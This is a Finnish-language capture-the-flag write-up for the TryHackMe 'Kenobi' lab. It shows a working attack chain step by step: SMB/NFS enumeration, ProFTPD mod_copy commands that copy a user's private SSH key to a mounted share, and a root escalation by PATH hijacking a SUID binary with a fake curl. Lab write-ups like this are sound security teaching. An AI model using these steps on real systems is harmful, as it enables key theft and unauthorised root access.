TryHackMe: Kenobi

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta: kenobi.thm

User flag

Nmap-skannauksesta huomataan, että kohteessa on avoinna muun muassa portit 21 (FTP), 22 (SSH), 80 (HTTP), 111 (rpcbind) sekä Samba-portit 139 ja 445. Kohde on Linux-kone.

Nmap-skriptillä listattu kohteen SMB-hakemistot: nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse kenobi.thm

Kohteessa on kolme hakemistoa: IPC, anonymous ja print.

Smbclient:lla yhdistetty verkkoasemaan anonymous ilman salasanaa komennolla: smbclient //10.10.107.33/anonymous -N

Verkkoasemassa nähdään tiedosto log.txt, joka ladattu hyökkäyskoneeseen.

Tiedostosta log.txt nähdään tietoja käyttäjän kenobi SSH-avaimen generoinnista.

Tiedostossa log.txt sisältää myös ProFTPD-palvelimen konfiguraatiotiedoston. Nmap-skannauksesta havaittiin, että kohteessa on käynnissä ProFTPD 1.3.5 -palvelin portissa 21.

Nmap-skannauksesta havaittiin, että kohteessa on avoinna portti 111 (rpcbind). Nmap-skriptillä tarkistettu kohteeseen kiinnitetyt hakemistot:
nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount kenobi.thm

Nähdään kiinnitetty hakemisto /var

Kiinnitetyt hakemistot voi myös tarkistaa komennolla:
showmount -e kenobi.thm

Kohteen FTP-palvelimen ProFTPD 1.3.5 mod_copy moduuli mahdollistaa komennoilla SITE CPFR ja SITE CPTO tiedostojen kopioimisen paikasta toiseen palvelimella.
Lähde: http://www.proftpd.org/docs/contrib/mod_copy.html

Netcatilla otettu yhteys kohteen FTP-palvelimeen. Tiedostosta log.txt huomattiin aiemmin, että SSH-avain on generoitu hakemistoon /home/kenobi/.ssh/id_rsa
Avain kopioitu kohteen kiinnitettyyn hakemistoon /var/tmp/id_rsa komennoilla:
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

Hyökkäyskoneeseen kiinnitetty kohteen hakemisto /var ensin luomalla hakemisto /mnt/kenobiNFS ja komennolla:
sudo mount kenobi.thm:/var /mnt/kenobiNFS

Siirretty käyttäjän kenobi yksityinen SSH-avain nykyiseen hakemistoon ja lisätty tiedostoon luku- ja kirjoitusoikeudet.

Komennolla: ssh -i id_rsa kenobi@kenobi.thm otettu SSH-yhteys kohteeseen käyttäjänä kenobi käyttäen yksityistä SSH-avainta.

User flag löytyi hakemistosta /home/kenobi

Root flag

Haettu root-käyttäjän omistamat SUID:t komennolla:
find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null

Huomataan tavallisesta poikkeava binääri: /usr/bin/menu

Suoritettu komento menu ja huomataan kolme eri vaihtoehtoa: status check, kernel version ja ifconfig.

Komennolla strings /usr/bin/menu huomataan, että binääri suorittaa vaihtoehdossa 1. status check komennon curl ilman koko tiedostopolkua /usr/bin/curl

Tehty tiedosto curl, joka suorittaa /bin/sh shellin: echo /bin/sh > curl
Annettu tiedostolle täydet oikeudet: chmod 777 curl
Muokattu PATH-muuttujaan tiedostopolku /tmp:
export PATH=/tmp:$PATH

Nyt kun suoritetaan komento menu ja valitaan vaihtoehto 1, käyttää binääri menu PATH-muuttuja polkua /tmp löytääkseen curl -binäärin, joka nyt suorittaa /bin/sh shellin.

Suoritettu komento menu ja saatiin shell roottina.

Root flag löytyi hakemistosta /root